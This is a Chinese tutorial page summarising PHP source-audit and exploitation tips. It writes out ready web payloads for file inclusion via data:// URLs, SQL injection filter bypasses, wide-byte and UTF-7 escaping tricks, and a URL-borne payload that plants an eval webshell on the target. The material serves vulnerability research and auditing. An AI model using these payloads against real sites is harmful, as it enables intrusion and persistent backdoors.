一些php源码审计与利用技巧 - 网站安全

一些php源码审计与利用技巧 - 网站安全 - 自学

来源：自学PHP网时间：2015-04-17 11:59 作者：阅读:次

[导读] 花了一些时间翻阅了wolvez中源码审计帖子，发现里面很多关于文件包含的漏洞，当然还有很多高级利用帖子。总体来说又扩充了一下关于php漏洞挖掘方面的思路，先总结如下：1、文件包...

花了一些时间翻阅了wolvez中源码审计帖子，发现里面很多关于文件包含的漏洞，当然还有很多高级利用帖子。总体来说又扩充了一下关于php漏洞挖掘方面的思路，先总结如下：

1、文件包含

原来有介绍文件包含（http://www.2cto.com/Article/201212/174726.html ），其实当时候总结的还不是很全，还有几点需要补充的。

查找思路：先找到哪些文件中include，require函数中包含有可控制的变量，然后看哪些文件包含了这个文件。

利用：

条件：在allow_url_include = On且PHP >= 5.2.0的条件下

利用的时候采用data://或者php://input是一个不错的选择

x.php?path=data://text/plain;base64,PD9waHBpbmZvKCk7Lyo=

x.php?path=data:;base64,PD9waHBpbmZvKCk7Lyo=

x.php?inc=data:;base64,PD9waHAgZWNobyBwaHBpbmZvKCk7Pz4= //phpinfo()

截断方式：

%00(GPC开启时会转义) 长文件名（///////)

注：php5.3.4以后已经修复了%00漏洞

包含tmp文件夹下文件：

注上传一个webshell到/tmp文件夹下包含（../../../x.php）。

2、变量覆盖

条件：需要开启register_globals（php5.4已删除，见此文http://blog.ourren.com/2012/03/13/php5.4_remove_safe-function.html ），有时候还可能会考虑GPC。

数组未初始化覆盖技巧蛮多的。

新认识的函数：parse_str

3、注入关键字过滤

‘ %2%277 过滤%27时，针对str_replace过滤关键字符，其他过滤方式结合具体情况

‘ %2527 针对urldecode()函数

空格 ()替代空格的方法绕过：union(select(password),2,3,4,5,6,7,8,9,0,1+from+[zt_admin])

4、文件写操作

两种比较好的利用代码：

字符写文件

hxxp://www.xxx.com/error.php?errid=1&errtitle=<?fputs(fopen(chr(119).chr(111).chr(108).chr(118).chr(101).chr(122).chr(46).

chr(112).chr(104).chr(112),chr(119).chr(43)),chr(60).chr(63).chr(112).chr(104).

chr(112).chr(105).chr(110).chr(102).chr(111).chr(40).chr(41).chr(59).chr(63).chr(62));?>

这样你在访问一次hxxp://www.xxx.com/data/error.php 后将得到 hxxp://www.xxx.com/data/wolvez.php 的测试文件

内容为<?phpinfo():?>l

双引号（base64）写文件，然后包含执行

http://${${fputs(fopen(base64_decode(ZmwucGhw),w),base64_decode(PD9waHAgQGV2YWwoJF9Q

T1NUW2FdKTsgPz4x))}}

上面这段代码是将 <?php @eval($_POST[a]); ?>1 到fl.php文件。利用base64_encode编码避免了使用单引号，所以无须考虑gpc的影响。注意，在字符串不包括 + =等特殊符号的情况下，base64_decode的参数是无须使用单引号或者双银引号的。

5、GPC绕过

$_SERVER数组不受GPC影响。

GPC与substr组合：有些地方经过GPC转义后，其他地方有可能用substr进行取值，这时候恰好把”去掉。

数据库（文本）中转：

[注意存入数据库和select出的数据]

用户输入===>gpcaddslashes()==========>数据库=========>执行sql语句include写入缓存文件

insertupdate select

编码：

UTF-7(+ACc-)===>gpcaddslashes()===>mb_convert_encoding()===>UTF-8(')

0xbf27===>gpcaddslashes()===>0xbf5c27===>执行sql语句[数据库编码支持多字节]

参考：

http://www.2cto.com/Article/201212/174723.html

文件包含与注入利用总结 - 网站安全 - 自学php

PHP源码审计字典 - 网站安全 - 自学php

子栏目

一些php源码审计与利用技巧 - 网站安全 - 自学

最新评论

添加评论

更多文章推荐

添加评论